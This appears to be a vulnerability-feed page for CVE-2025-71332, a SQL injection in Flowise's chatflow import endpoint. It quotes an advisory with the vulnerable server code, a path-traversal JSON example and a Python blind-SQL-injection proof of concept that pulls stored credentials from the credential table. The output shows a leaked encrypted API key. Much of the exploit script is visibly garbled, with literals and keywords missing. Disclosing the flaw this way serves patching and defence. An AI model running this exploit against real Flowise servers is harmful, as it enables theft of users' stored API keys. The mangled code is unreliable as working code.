Live › vulnerability › CVE-2025-71332
Flowise's chatflow import builds a SQL query from user-supplied chatflow IDs without escaping them. An authenticated user can use this to read the credential table, including encrypted API keys stored in the database.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-03 19:55 UTC, 1h before NVD. All times on this page are UTC.
Self-hosted Flowise instances where people with a login can import chatflows. The import endpoint builds a SQL query from the chatflow ID field, so any account that can import is in a position to exploit it. Instances where only administrators can log in, or where the service is not reachable from untrusted networks, carry less risk.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| flowise | npm | <= 2.2.7 | – |
| flowiseai flowise | vendor | <= 2.2.7 | – |
npm ls flowise in the deployment directory.flowise versions after 2.2.7 (the sources give 2.2.7 as the last affected version; the fixed version is not stated).Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
import functions are vulnerable.
Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.
{
"Chatflows": [
{
"id": "../../../../../../apikey",
"name": "clickme",
"flowData": "{}"
}
]
}
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.()
.()
foundIds = selectResponse.( {
response.
})
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c:
):
chatflows_json = {
: [
{
: ,
: data_id,
:
}
]
}
bitbox = [
, , , , , ,
]
character =
bit bitbox:
payload = create_payload(c=character + bit)
chatflows_json[][][] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
res[]:
character += bit
:
character +=
(character)
():
injection_query =
():
chatflows_json = {
: [
{
: ,
: data_id,
:
}
]
}
column_len =
bitbox = [
, , , , , , , ,
]
bit bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json[][][] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
res[]:
column_len += bit
:
column_len +=
column_len
():
api_url = url
column_box = [
,
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data=
)
column_name column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
()
result =
i (column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i +
)
()
__name__ == :
parser = argparse.ArgumentParser()
parser.add_argument(
,
=,
default=
)
parser.add_argument(
,
=,
required=,
=
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
This page as .md · .json · in your agent: get_signal("CVE-2025-71332")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.